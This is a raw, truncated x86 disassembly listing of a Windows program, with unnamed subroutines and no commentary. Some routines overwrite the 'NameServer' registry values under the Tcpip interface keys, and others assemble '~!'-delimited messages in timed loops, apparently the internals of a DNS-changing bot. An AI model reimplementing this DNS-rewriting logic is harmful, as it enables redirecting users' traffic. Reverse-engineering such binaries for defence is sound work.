ecx call sub_40CF34 and eax, 8000001Fh jns short loc_4049EE dec eax or eax, 0FFFFFFE0h inc eax loc_4049EE: ; CODE XREF: sub_4049A1+46j push ebx mov byte ptr [ebp+var_4], al push ebx push [ebp+var_4] lea eax, [ebp+var_18] push eax mov ecx, esi call sub_405D38 mov ecx, [esi+4] mov eax, [ecx] push 0B4h push 1F4h push 14h lea edx, [ebp+var_18] push edx call dword ptr [eax+0Ch] mov edi, [eax] cmp edi, ebx mov [ebp+var_8], eax jz short loc_404A78 test edi, edi jz short loc_404A2A loc_404A26: ; CODE XREF: sub_4049A1+D5j mov ecx, [edi] jmp short loc_404A2C ; --------------------------------------------------------------------------- loc_404A2A: ; CODE XREF: sub_4049A1+83j xor ecx, ecx loc_404A2C: ; CODE XREF: sub_4049A1+87j call sub_409BDD push 10h mov [ebp+var_4], eax call sub_40D0BB push 10h push [ebp+var_4] mov ebx, eax push ebx call sub_40CCF7 add esp, 10h push 0Ah mov ecx, esi call sub_404172 lea eax, [esi+8] push eax call ds:dword_4180E4 push ebx lea ecx, [esi+0Ch] call sub_4043F3 cmp dword ptr [esi+20h], 0Fh jge short loc_404A78 test edi, edi jz short loc_404A78 mov edi, [edi+4] test edi, edi jnz short loc_404A26 loc_404A78: ; CODE XREF: sub_4049A1+7Fj ; sub_4049A1+CAj ... pop edi jmp short loc_404A91 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_4049A1+F4j mov ecx, esi call sub_40428C test al, al jnz short loc_404A97 push 3E8h call ds:dword_4180C8 loc_404A91: ; CODE XREF: sub_4049A1+D8j cmp dword ptr [esi+8], 0 jg short loc_404A7B loc_404A97: ; CODE XREF: sub_4049A1+E3j mov ecx, esi call sub_40428C lea ecx, [ebp+var_8] mov bl, al call sub_40442E loc_404AA8: ; CODE XREF: sub_4049A1+25j mov al, bl pop ebx loc_404AAB: ; CODE XREF: sub_4049A1+14j pop esi leave retn sub_4049A1 endp ; =============== S U B R O U T I N E ======================================= sub_404AAE proc near ; DATA XREF: .rdata:0041BD9Co add ecx, 98h jmp sub_401269 sub_404AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AB9 proc near ; CODE XREF: sub_405263+192p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_4] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jz short loc_404B16 push [ebp+var_4] call sub_40CE59 pop ecx mov ebx, eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jz short loc_404B16 push [ebp+var_4] call sub_40CE59 pop ecx mov edi, eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jnz short loc_404B22 loc_404B16: ; CODE XREF: sub_404AB9+21j ; sub_404AB9+3Ej lea ecx, [ebp+var_4] call sub_40DB59 xor al, al jmp short loc_404B3D ; --------------------------------------------------------------------------- loc_404B22: ; CODE XREF: sub_404AB9+5Bj lea eax, [ebp+var_4] push eax push edi push ebx lea ecx, [esi+94h] call sub_401FF5 lea ecx, [ebp+var_4] call sub_40DB59 mov al, 1 loc_404B3D: ; CODE XREF: sub_404AB9+67j pop edi pop esi pop ebx leave retn 4 sub_404AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B44 proc near ; CODE XREF: sub_405263+1A1p var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [ebp+var_C] call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_C] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jz short loc_404B9B lea eax, [ebp+var_8] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jz short loc_404B9B lea eax, [ebp+var_4] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jnz short loc_404BB7 loc_404B9B: ; CODE XREF: sub_404B44+31j ; sub_404B44+43j lea ecx, [ebp+var_4] call sub_40DB59 lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 xor al, al jmp short loc_404BE8 ; --------------------------------------------------------------------------- loc_404BB7: ; CODE XREF: sub_404B44+55j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax lea ecx, [esi+94h] call sub_401B10 lea ecx, [ebp+var_4] call sub_40DB59 lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 mov al, 1 loc_404BE8: ; CODE XREF: sub_404B44+71j pop esi leave retn 4 sub_404B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BED proc near ; CODE XREF: sub_405263+1B0p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_4] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jz short loc_404C3D push [ebp+var_4] call sub_40CE59 pop ecx lea ecx, [ebp+var_8] mov edi, eax call sub_40DB48 lea eax, [ebp+var_8] push eax push [ebp+arg_0] mov ecx, esi call sub_403697 test al, al jnz short loc_404C49 lea ecx, [ebp+var_8] call sub_40DB59 loc_404C3D: ; CODE XREF: sub_404BED+21j lea ecx, [ebp+var_4] call sub_40DB59 xor al, al jmp short loc_404C6B ; --------------------------------------------------------------------------- loc_404C49: ; CODE XREF: sub_404BED+46j lea eax, [ebp+var_8] push eax push edi lea ecx, [esi+94h] call sub_4022BE lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_4] call sub_40DB59 mov al, 1 loc_404C6B: ; CODE XREF: sub_404BED+5Aj pop edi pop esi leave retn 4 sub_404BED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C71 proc near ; CODE XREF: sub_405074+4Cp var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_4] call sub_40DB48 xor ebx, ebx push ebx push offset dword_41BD44 lea ecx, [ebp+var_4] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_4] call sub_40DBF8 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_4] call sub_40DBA2 push 23h lea ecx, [ebp+var_4] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_4] call sub_40DBA2 cmp [edi+79h], bl mov eax, offset a1 ; "1" jnz short loc_404CCF mov eax, offset a0 ; "0" loc_404CCF: ; CODE XREF: sub_404C71+57j push ebx push eax lea ecx, [ebp+var_4] call sub_40DBA2 push ebx push [ebp+arg_0] lea eax, [ebp+var_4] push eax mov ecx, edi call sub_404905 lea ecx, [ebp+var_4] mov bl, al call sub_40DB59 pop edi pop esi mov al, bl pop ebx leave retn 4 sub_404C71 endp ; =============== S U B R O U T I N E ======================================= sub_404CFB proc near ; CODE XREF: sub_405263+C7p ; sub_405440+1C4p ... mov eax, [ecx] test eax, eax jz short loc_404D0E mov eax, [eax+8] test eax, eax mov [ecx], eax jz short loc_404D0E mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_404D0E: ; CODE XREF: sub_404CFB+4j ; sub_404CFB+Dj xor eax, eax retn sub_404CFB endp ; =============== S U B R O U T I N E ======================================= sub_404D11 proc near ; CODE XREF: sub_405263+118p ; sub_405263+13Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, [ecx+8] jnb short loc_404D22 mov ecx, [ecx+4] mov eax, [ecx+eax*4] jmp short locret_404D24 ; --------------------------------------------------------------------------- loc_404D22: ; CODE XREF: sub_404D11+7j xor eax, eax locret_404D24: ; CODE XREF: sub_404D11+Fj retn 4 sub_404D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D27 proc near ; CODE XREF: sub_405675+CFp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"... lea ecx, [ebp+var_C] call sub_40DCEB lea eax, [ebp+var_10] push eax push 0F003Fh xor ebx, ebx push ebx push [ebp+var_C] push 80000002h call ds:dword_418008 test eax, eax jz short loc_404D68 lea ecx, [ebp+var_C] call sub_40DB59 xor al, al jmp loc_404E6F ; --------------------------------------------------------------------------- loc_404D68: ; CODE XREF: sub_404D27+30j push esi push edi lea ecx, [ebp+var_4] mov [ebp+var_18], ebx mov [ebp+var_14], 80h call sub_40DB48 mov eax, [ebp+var_14] inc eax push eax lea ecx, [ebp+var_4] call sub_40DADA mov edi, ds:dword_41800C push ebx push ebx push ebx push ebx lea eax, [ebp+var_14] push eax push [ebp+var_4] push ebx push [ebp+var_10] call edi mov esi, ds:dword_418010 jmp loc_404E3D ; --------------------------------------------------------------------------- loc_404DAB: ; CODE XREF: sub_404D27+118j lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] call sub_40DCD2 push [ebp+var_4] lea ecx, [ebp+var_8] call sub_401AA0 lea eax, [ebp+var_1C] push eax push 0F003Fh push ebx push [ebp+var_8] push 80000002h call ds:dword_418008 test eax, eax jnz short loc_404E4E mov eax, [ebp+arg_0] mov eax, [eax] cmp eax, ebx jnz short loc_404DEB xor eax, eax jmp short loc_404DF2 ; --------------------------------------------------------------------------- loc_404DEB: ; CODE XREF: sub_404D27+BEj push eax call sub_40CD83 pop ecx loc_404DF2: ; CODE XREF: sub_404D27+C2j mov ecx, [ebp+arg_0] mov ecx, [ecx] inc eax push eax push ecx push 1 push ebx push offset aNameserver ; "NameServer" push [ebp+var_1C] call ds:dword_418014 push [ebp+var_1C] mov [ebp+var_20], eax call esi cmp [ebp+var_20], ebx jnz short loc_404E74 inc [ebp+var_18] lea ecx, [ebp+var_8] mov [ebp+var_14], 80h call sub_40DB59 push ebx push ebx push ebx push ebx lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_18] push [ebp+var_10] call edi loc_404E3D: ; CODE XREF: sub_404D27+7Fj test eax, eax jz loc_404DAB push [ebp+var_10] call esi mov bl, 1 jmp short loc_404E81 ; --------------------------------------------------------------------------- loc_404E4E: ; CODE XREF: sub_404D27+B5j push [ebp+var_10] call esi lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_4] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 xor al, al loc_404E6D: ; CODE XREF: sub_404D27+16Cj pop edi pop esi loc_404E6F: ; CODE XREF: sub_404D27+3Cj pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_404E74: ; CODE XREF: sub_404D27+EFj push [ebp+var_10] call esi lea ecx, [ebp+var_8] call sub_40DB59 loc_404E81: ; CODE XREF: sub_404D27+125j lea ecx, [ebp+var_4] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 mov al, bl jmp short loc_404E6D sub_404D27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E95 proc near ; CODE XREF: sub_405675+48p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, ecx lea ecx, [ebp+var_4] xor bl, bl call sub_40DB48 lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403AA0 test al, al jz loc_404F87 lea ecx, [ebp+var_10] call sub_40DB48 lea ecx, [ebp+var_C] call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403A87 test al, al jz loc_404F6F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403632 test al, al jz short loc_404F6F lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403632 test al, al jz short loc_404F6F lea eax, [esi+5158h] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403632 test al, al jz short loc_404F6F lea eax, [esi+515Ch] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403632 push 0 push [ebp+var_10] lea ecx, [esi+9Ch] inc bl call sub_40DB5E push 0 push [ebp+var_C] lea ecx, [esi+0A0h] call sub_40DB5E push [ebp+var_8] call sub_40CE59 test eax, eax setnz al pop ecx mov [esi+0A4h], al loc_404F6F: ; CODE XREF: sub_404E95+50j ; sub_404E95+67j ... lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 lea ecx, [ebp+var_10] call sub_40DB59 loc_404F87: ; CODE XREF: sub_404E95+21j lea ecx, [ebp+var_4] call sub_40DB59 pop esi mov al, bl pop ebx leave retn sub_404E95 endp ; =============== S U B R O U T I N E ======================================= sub_404F95 proc near ; CODE XREF: sub_404FDE+49p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_404FB0 mov ecx, edi call sub_4015F3 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_404FB0: ; CODE XREF: sub_404F95+8j pop edi pop esi retn sub_404F95 endp ; =============== S U B R O U T I N E ======================================= sub_404FB3 proc near ; CODE XREF: sub_405074+92p ; sub_405074+ABp ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_404FD4 cmp ebx, esi jz short loc_404FD4 mov ecx, esi call sub_4015F3 push esi call sub_40D0B6 pop ecx loc_404FD4: ; CODE XREF: sub_404FB3+Dj ; sub_404FB3+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_404FB3 endp ; =============== S U B R O U T I N E ======================================= sub_404FDE proc near ; CODE XREF: sub_405659+3p push ebx mov ebx, ds:dword_4180A8 push esi mov esi, ecx push edi push dword ptr [esi+5190h] lea edi, [esi+94h] mov dword ptr [esi], offset off_41BD98 mov dword ptr [edi], offset off_41BD94 call ebx push dword ptr [esi+5194h] call ebx lea ecx, [esi+5160h] call sub_40B150 lea ecx, [esi+5178h] call sub_40B150 lea ecx, [esi+5198h] call sub_404F95 push dword ptr [esi+5194h] mov ebx, ds:dword_4180A4 call ebx push dword ptr [esi+5190h] call ebx lea ecx, [esi+515Ch] call sub_40DB59 lea ecx, [esi+5158h] call sub_40DB59 mov ecx, edi call sub_402400 pop edi mov ecx, esi pop esi pop ebx jmp sub_403DAE sub_404FDE endp ; =============== S U B R O U T I N E ======================================= sub_405069 proc near ; DATA XREF: .rdata:off_41BD94o add ecx, 0FFFFFF6Ch jmp sub_40387F sub_405069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405074 proc near ; DATA XREF: sub_4058DF+A9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, ds:dword_4180E0 push esi mov esi, ecx mov eax, [esi+5190h] mov [ebp+var_C], eax mov eax, [esi+5194h] push edi mov [ebp+var_8], eax loc_405097: ; CODE XREF: sub_405074+12Ej lea edi, [esi+3Ch] push edi call ds:dword_4180DC push 0 mov ecx, esi call sub_403ED0 test al, al jz loc_4051AD lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_4] push eax mov ecx, esi call sub_404C71 test al, al jz loc_4051E6 cmp [ebp+var_4], 0 jz short loc_405117 push [ebp+var_4] call sub_40CD83 cmp eax, 5 pop ecx jbe short loc_405117 lea edi, [esi+5198h] cmp dword ptr [edi], 0 jnz short loc_40510B push 2Ch call sub_40D0BB test eax, eax pop ecx jz short loc_405101 mov ecx, eax call sub_401A43 jmp short loc_405103 ; --------------------------------------------------------------------------- loc_405101: ; CODE XREF: sub_405074+82j xor eax, eax loc_405103: ; CODE XREF: sub_405074+8Bj push eax mov ecx, edi call sub_404FB3 loc_40510B: ; CODE XREF: sub_405074+76j push [ebp+var_4] mov ecx, [edi] call sub_40132C jmp short loc_405124 ; --------------------------------------------------------------------------- loc_405117: ; CODE XREF: sub_405074+5Dj ; sub_405074+6Bj push 0 lea ecx, [esi+5198h] call sub_404FB3 loc_405124: ; CODE XREF: sub_405074+A1j lea eax, [esi+3Ch] push eax call ebx lea eax, [esi+5190h] push eax mov ecx, esi call sub_403B7F test al, al jz loc_405220 mov ecx, esi call sub_403DE0 test al, al jnz short loc_40517F push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_405168 movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_40516A ; --------------------------------------------------------------------------- loc_405168: ; CODE XREF: sub_405074+E1j xor eax, eax loc_40516A: ; CODE XREF: sub_405074+F2j push eax lea ecx, [esi+24h] call sub_4151CB push dword ptr [esi+5194h] call ds:dword_4180A8 loc_40517F: ; CODE XREF: sub_405074+D5j push 0DBBA0h push 0 lea eax, [ebp+var_C] push eax push 2 call ds:dword_418128 lea ecx, [ebp+var_4] mov edi, eax call sub_40DB59 cmp edi, 102h jz loc_405097 jmp loc_40525C ; --------------------------------------------------------------------------- loc_4051AD: ; CODE XREF: sub_405074+38j push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_4051CA movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_4051CC ; --------------------------------------------------------------------------- loc_4051CA: ; CODE XREF: sub_405074+143j xor eax, eax loc_4051CC: ; CODE XREF: sub_405074+154j push eax lea ecx, [esi+24h] call sub_4151CB push edi call ebx push dword ptr [esi+5194h] call ds:dword_4180A8 jmp short loc_40525C ; --------------------------------------------------------------------------- loc_4051E6: ; CODE XREF: sub_405074+53j push 0 lea ecx, [esi+5198h] call sub_404FB3 push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_405210 movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_405212 ; --------------------------------------------------------------------------- loc_405210: ; CODE XREF: sub_405074+189j xor eax, eax loc_405212: ; CODE XREF: sub_405074+19Aj push eax lea ecx, [esi+24h] call sub_4151CB push edi call ebx jmp short loc_405248 ; --------------------------------------------------------------------------- loc_405220: ; CODE XREF: sub_405074+C6j push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_40523D movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_40523F ; --------------------------------------------------------------------------- loc_40523D: ; CODE XREF: sub_405074+1B6j xor eax, eax loc_40523F: ; CODE XREF: sub_405074+1C7j push eax lea ecx, [esi+24h] call sub_4151CB loc_405248: ; CODE XREF: sub_405074+1AAj push dword ptr [esi+5194h] call ds:dword_4180A8 lea ecx, [ebp+var_4] call sub_40DB59 loc_40525C: ; CODE XREF: sub_405074+134j ; sub_405074+170j pop edi pop esi pop ebx leave retn 4 sub_405074 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405263 proc near ; CODE XREF: sub_405675+1A8p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, ecx xor ebx, ebx lea ecx, [ebp+var_C] mov [ebp+var_1], bl call sub_40DB48 lea ecx, [ebp+var_18] call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 push ebx push offset dword_41BDA0 lea ecx, [ebp+var_8] call sub_40DBA2 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 lea eax, [edi+0D0h] push eax call ds:dword_4180DC lea eax, [ebp+var_10] push eax lea ecx, [edi+0CCh] call sub_408761 jmp short loc_40532F ; --------------------------------------------------------------------------- loc_4052E5: ; CODE XREF: sub_405263+CFj push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 mov eax, [ebp+var_10] cmp eax, ebx jz short loc_4052FA mov eax, [eax] jmp short loc_4052FC ; --------------------------------------------------------------------------- loc_4052FA: ; CODE XREF: sub_405263+91j xor eax, eax loc_4052FC: ; CODE XREF: sub_405263+95j push eax lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 mov eax, [ebp+var_10] cmp eax, ebx jz short loc_40531B mov eax, [eax+4] jmp short loc_40531D ; --------------------------------------------------------------------------- loc_40531B: ; CODE XREF: sub_405263+B1j xor eax, eax loc_40531D: ; CODE XREF: sub_405263+B6j push dword ptr [eax] lea ecx, [ebp+var_8] call sub_40DBF8 lea ecx, [ebp+var_10] call sub_404CFB loc_40532F: ; CODE XREF: sub_405263+80j cmp [ebp+var_10], ebx jnz short loc_4052E5 lea eax, [edi+0D0h] push eax call ds:dword_4180E0 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 lea eax, [edi+0B4h] push eax call ds:dword_4180DC mov eax, [edi+0B0h] cmp eax, ebx mov [ebp+var_10], ebx mov [ebp+var_14], eax jle short loc_4053B9 loc_405368: ; CODE XREF: sub_405263+154j push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push [ebp+var_10] lea ecx, [edi+0A8h] call sub_404D11 push ebx push dword ptr [eax] lea ecx, [ebp+var_8] call sub_40DBA2 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push [ebp+var_10] lea ecx, [edi+0A8h] call sub_404D11 push dword ptr [eax+8] lea ecx, [ebp+var_8] call sub_40DBF8 inc [ebp+var_10] mov eax, [ebp+var_10] cmp eax, [ebp+var_14] jl short loc_405368 loc_4053B9: ; CODE XREF: sub_405263+103j lea eax, [edi+0B4h] push eax call ds:dword_4180E0 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push ebx lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax mov ecx, edi call sub_404905 test al, al jz short loc_405420 lea eax, [ebp+var_C] push eax mov ecx, edi call sub_403624 loc_4053EF: ; CODE XREF: sub_405263+199j lea eax, [ebp+var_C] push eax mov ecx, edi call sub_404AB9 test al, al jnz short loc_4053EF loc_4053FE: ; CODE XREF: sub_405263+1A8j lea eax, [ebp+var_C] push eax mov ecx, edi call sub_404B44 test al, al jnz short loc_4053FE loc_40540D: ; CODE XREF: sub_405263+1B7j lea eax, [ebp+var_C] push eax mov ecx, edi call sub_404BED test al, al jnz short loc_40540D mov [ebp+var_1], 1 loc_405420: ; CODE XREF: sub_405263+17Fj lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_18] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn sub_405263 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405440 proc near ; CODE XREF: sub_405675+1E1p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 24h push ebx push esi mov esi, ecx xor ebx, ebx push edi lea ecx, [ebp+var_18] mov [ebp+var_20], esi mov [ebp+var_1], bl call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 push ebx push offset dword_41BDA8 lea ecx, [ebp+var_8] call sub_40DBA2 push ebx mov edi, offset asc_41BCC0 ; "~!" push edi lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [esi+70h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push edi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 lea eax, [esi+50FCh] push eax mov [ebp+var_24], eax call ds:dword_4180DC lea eax, [ebp+var_10] push eax lea ecx, [esi+50F8h] call sub_408761 cmp [ebp+var_10], ebx jz loc_405615 loc_4054C7: ; CODE XREF: sub_405440+1CCj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_4054D3 mov esi, [eax+4] jmp short loc_4054D5 ; --------------------------------------------------------------------------- loc_4054D3: ; CODE XREF: sub_405440+8Cj xor esi, esi loc_4054D5: ; CODE XREF: sub_405440+91j cmp [esi+4], ebx jbe loc_405601 push ebx push edi lea ecx, [ebp+var_8] call sub_40DBA2 mov eax, [ebp+var_10] cmp eax, ebx jz short loc_4054F3 mov eax, [eax] jmp short loc_4054F5 ; --------------------------------------------------------------------------- loc_4054F3: ; CODE XREF: sub_405440+ADj xor eax, eax loc_4054F5: ; CODE XREF: sub_405440+B1j push eax lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push edi lea ecx, [ebp+var_8] call sub_40DBA2 lea ecx, [ebp+var_C] call sub_40DB48 mov eax, [esi+4] cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+var_1C], eax jbe loc_4055C8 loc_405521: ; CODE XREF: sub_405440+17Dj mov edi, [ebp+var_14] mov eax, [esi] shl edi, 2 mov eax, [edi+eax] push dword ptr [eax] lea ecx, [ebp+var_C] call sub_40DBF8 mov eax, [esi] mov eax, [eax+edi] add eax, 4 mov eax, [eax] cmp eax, ebx jz short loc_40556E push eax call sub_40CD83 cmp eax, ebx pop ecx jbe short loc_40556E push ebx push offset dword_41BDA4 lea ecx, [ebp+var_C] call sub_40DBA2 mov eax, [esi] mov eax, [eax+edi] push ebx push dword ptr [eax+4] lea ecx, [ebp+var_C] call sub_40DBA2 loc_40556E: ; CODE XREF: sub_405440+102j ; sub_405440+10Dj mov eax, [esi] mov eax, [eax+edi] add eax, 8 mov eax, [eax] cmp eax, ebx jz short loc_4055A6 push eax call sub_40CD83 cmp eax, ebx pop ecx jbe short loc_4055A6 push ebx push offset dword_41BDA4 lea ecx, [ebp+var_C] call sub_40DBA2 mov eax, [esi] mov eax, [eax+edi] push ebx push dword ptr [eax+8] lea ecx, [ebp+var_C] call sub_40DBA2 loc_4055A6: ; CODE XREF: sub_405440+13Aj ; sub_405440+145j push ebx push offset asc_418210 ; "\n" lea ecx, [ebp+var_C] call sub_40DBA2 inc [ebp+var_14] mov eax, [ebp+var_14] cmp eax, [ebp+var_1C] jb loc_405521 mov edi, offset asc_41BCC0 ; "~!" loc_4055C8: ; CODE XREF: sub_405440+DBj cmp [ebp+var_C], ebx jnz short loc_4055D1 xor eax, eax jmp short loc_4055DA ; --------------------------------------------------------------------------- loc_4055D1: ; CODE XREF: sub_405440+18Bj push [ebp+var_C] call sub_40CD83 pop ecx loc_4055DA: ; CODE XREF: sub_405440+18Fj push eax lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push edi lea ecx, [ebp+var_8] call sub_40DBA2 push ebx push [ebp+var_C] lea ecx, [ebp+var_8] call sub_40DBA2 lea ecx, [ebp+var_C] call sub_40DB59 loc_405601: ; CODE XREF: sub_405440+98j lea ecx, [ebp+var_10] call sub_404CFB cmp [ebp+var_10], ebx jnz loc_4054C7 mov esi, [ebp+var_20] loc_405615: ; CODE XREF: sub_405440+81j push ebx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax mov ecx, esi call sub_404905 test al, al jz short loc_405638 lea ecx, [esi+94h] mov [ebp+var_1], 1 call sub_40235F loc_405638: ; CODE XREF: sub_405440+1E7j push [ebp+var_24] call ds:dword_4180E0 lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_18] call sub_40DB59 mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn sub_405440 endp ; =============== S U B R O U T I N E ======================================= sub_405659 proc near ; DATA XREF: .rdata:off_41BD98o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_404FDE test [esp+4+arg_0], 1 jz short loc_40566F push esi call sub_40D0B6 pop ecx loc_40566F: ; CODE XREF: sub_405659+Dj mov eax, esi pop esi retn 4 sub_405659 endp ; =============== S U B R O U T I N E ======================================= sub_405675 proc near ; DATA XREF: sub_4058DF+A1o var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push ebx push ebp push esi push edi mov esi, ecx xor edi, edi mov [esp+24h+var_11], 0 loc_405685: ; CODE XREF: sub_405675+25Fj mov ecx, esi call sub_4049A1 test al, al jnz short loc_4056AB inc edi cmp edi, 14h jbe loc_4058BF mov ecx, esi call sub_40387F loc_4056A1: ; CODE XREF: sub_405675+265j pop edi pop esi pop ebp pop ebx add esp, 14h retn 4 ; --------------------------------------------------------------------------- loc_4056AB: ; CODE XREF: sub_405675+19j lea ebx, [esi+3Ch] xor ebp, ebp push ebx mov [esp+28h+var_4], ebp call ds:dword_4180DC mov ecx, esi call sub_404E95 test al, al jnz short loc_4056FA push 10h call sub_40D0BB cmp eax, ebp pop ecx jz short loc_4056E3 movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_4056E5 ; --------------------------------------------------------------------------- loc_4056E3: ; CODE XREF: sub_405675+5Bj xor eax, eax loc_4056E5: ; CODE XREF: sub_405675+6Cj push eax lea 